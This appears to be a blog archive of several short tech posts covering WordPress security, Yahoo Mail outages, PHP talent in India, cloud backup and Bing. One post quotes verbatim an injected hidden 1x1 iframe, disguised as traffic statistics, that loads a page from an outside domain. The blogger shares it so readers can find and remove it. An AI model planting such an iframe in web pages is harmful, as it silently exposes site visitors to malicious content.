Glenn Beck has decided Net Neutrality is the tool of the devil.
Thank god that we have a functioning techsphere, which serves as a factual counterpoint to nonsense and propaganda. The lack of any such objective source in the political blogsphere is basically the reason that I started geekblogging. Still, sometimes, the political stoopid finds you, no matter how far you run.
In a nutshell, this is why network neutrality matters.
two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows:
<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->
I only became aware of it when Google flagged my archives for that month as “malicious”. Viewing source of the archives page revealed the hack – probably from some window of time in which I hadnt upgraded to the latest wordpress version.
To ensure you don’t have old posts in your archives with this exploit, just search your posts for the term “iframe”. Edit those posts and you’ll likely as not find similar code to above.
WordPress has come a long way in making upgrades easier with one click (though some people still run into problems on occasion). I think it would be better is WP had a incremental and automated upgrade process whereby whenever a security-related update was available, you could have it automatically install, just like you can set in Windows. Ideally, this would be controlled by a setting in the Dashboard to “turn on/off automatic security patches” and when enabled, would “register” your blog with the mothership at wordpress.org so that whenever a security patch is available, you get an automatic email to your admin email account notifying you, and when you next login to Dashboard the patch is automatically applied.
good grief, it looks like it’s Yahoo Mail’s turn to go down in flames:
Yahoo Mail error message
I’m sure they will have service restored soon. But it’s particularly more galling given that 1. I snarkily defended Yahoo Mail during the gmail outage (oh, karma!) and 2. unlike gmail, I’m a paying customer for Yahoo’s Plus service (no ads, more storage, extra features including mail aliases).
This, in a nutshell, is why the Cloud sucks. But even these hassles aren’t enough to make me want to go back to the Eudora days where I had to manage my own mail archives locally. Email is inherently a pain no matter how you do it – the only real way to be free of it is to declare Email Independence.
My friend Abbas Ali, who is one of the lead programmers for the open-source Coppermine gallery project, writes with mild frustration about the seeming shortage of talented PHP programmers in India. He cites a number of reasons, one of which is a lack of good trainers:
Unfortunately in India you need a trainer for learning programming languages. No one is willing to learn on his/her own. As soon as a student goes to university, (s)he starts to search for training institutes. There are very few training institutes offering PHP courses and I will say none of them are good (at least in Nagpur). The sole reason is that the trainer himself/herself is not adept at PHP.
This is surprising to me. Certainly the vast majority of programmers in the US I know are self-taught, especially the web-centric ones who sling PHP and SQL code around all day. The availability of numerous and inexpensive training manuals (notably the O’Reilly series) seems to foster a DIY mentality towards picking up a new language, though neraly everyone has of ocurse had at least one programming ocurse in college even if they aren’t formal CS majors (and few are). Are there no such eequivalent resources available in the Indian market? Or is there a cultural difference at play here? Either way, it seems like there’s an opportunity of some sort to rectify this situation. There’s a vast amount of PHP and SQL based web application development going on, especially around the Twitter and WordPress ecosystems. Then again, James and crew over at WPMU.org are also always trying to recruit talent, too, so I wonder if the problem isn’t limited to India.
In fact, looking at my own example, my own knowledge of these technologies is pretty basic. I have written two plugins, one of which makes some vey nominal SQL calls and the other which is just a few simple PHP functions strung together, leveraging the hooks and wordpress API. I doubt very much that I’d come close to a “talented” PHP programmer of the sort Abbas’ company and others are looking for. Perhaps the depth of PHP knowledge is shallow overall and deep in only a few places, in which case Abbas has hit upon an observation that is truly global. If the depth of PHP and SQL knowledge could be increased across a broader swath of the talent pool, would we see an explosion of even better apps?
It certainly feels like there isn’t much technical innovation going on in the web right now. The only person out there in the tech punditsphere who actually gets his hands dirty and tinkers with code is Dave Winer, and he has built some really elegant things. Also I was really quite impressed with Joe Moreno’s URL-shortener solution. These sorts of things require broader knowledge than just PHP and SQL, such as DNS mapping. Most of the new sites that spring up covered by TechCrunch seem to be simple ideas implemented cleverly, but nothing really innovative seems to have come down the pike since, well, Twitter. Is the web industry stagnant for lack of talent overall?
One of the lessons of Friendfeed’s buyout by Facebook is that the cloud is not a good place for backup. In an era of the sub-$100 terabyte, the idea that the best place for our data should be anywhere other than right at home is a strange one. Cloud backup is useful as a meta-backup – for example, using Jungledisk and Amazon’s S3 service to backup your local backups – to guard against catastrophe, but should never be your primary repository.
For data like photos, this is pretty much a moot point, as everyone keeps their originals on their disk and uploads select photos to Flickr/Picasa etc (and at lower resolution than the originals). But for text, like blog posts and tweets, most people simply leave their content in the cloud – which includes leaving your wordpress database at your hosting provider rather than on your local disk. I haven’t yet found a good solution for local wordpress database backups but I have written previously about various backup strategies for twitter. Sarah Perez at RWW just did a piece on 10 ways to archive your tweets as well, but most of these are again cloud-based solutions. Marshall Kirkpatrick has a guide to using Google Reader along with Dave Winer’s new OPML tool to consolidate all your tweets and your friends’ tweets, but this isn’t a true backup solution either, as I point out in comments. The point however is as long as the data is in the cloud, it’s not really backed up – data wants to be imprisoned, not set free.
I’ve been increasingly using Microsoft’s new search engine, Bing in lieu of Google for my casual searches. One of the things that appeals to me is how the search results are so much more organized and comprehensive than just a list of ten text items. Google’s spartan deisgn was cool and chic ten years ago but today it feels increasingly stale, and Bing is pulling from Apple’s playbook in tailoring the interface to users’ needs. Some examples: saved searches are essential for keeping track of what you’ve been researching, and the live preview of video thumbnails on mouseover saves you a click – and getting video and photos along with text links on the same search results page is a huge timesaver. I feel like I spend less time using Bing. Right now I stil have to manually decide to go to Bing but I intend to switch the default search engine on all my browsers for a few weeks – including Chrome – and see how that works out.
Bing has been getting a lot of attention lately – there’s a piece on it in the New York Times, another in USA Today, and even a website, Bing Vs Google, that lets you see searches compared side-by-side. It’s good to shake things up – and Bing certainly has its rough spots, ut just like Google these should improve over time. The mere existence of Bing ensures that Google is forced to compete and innovate as well.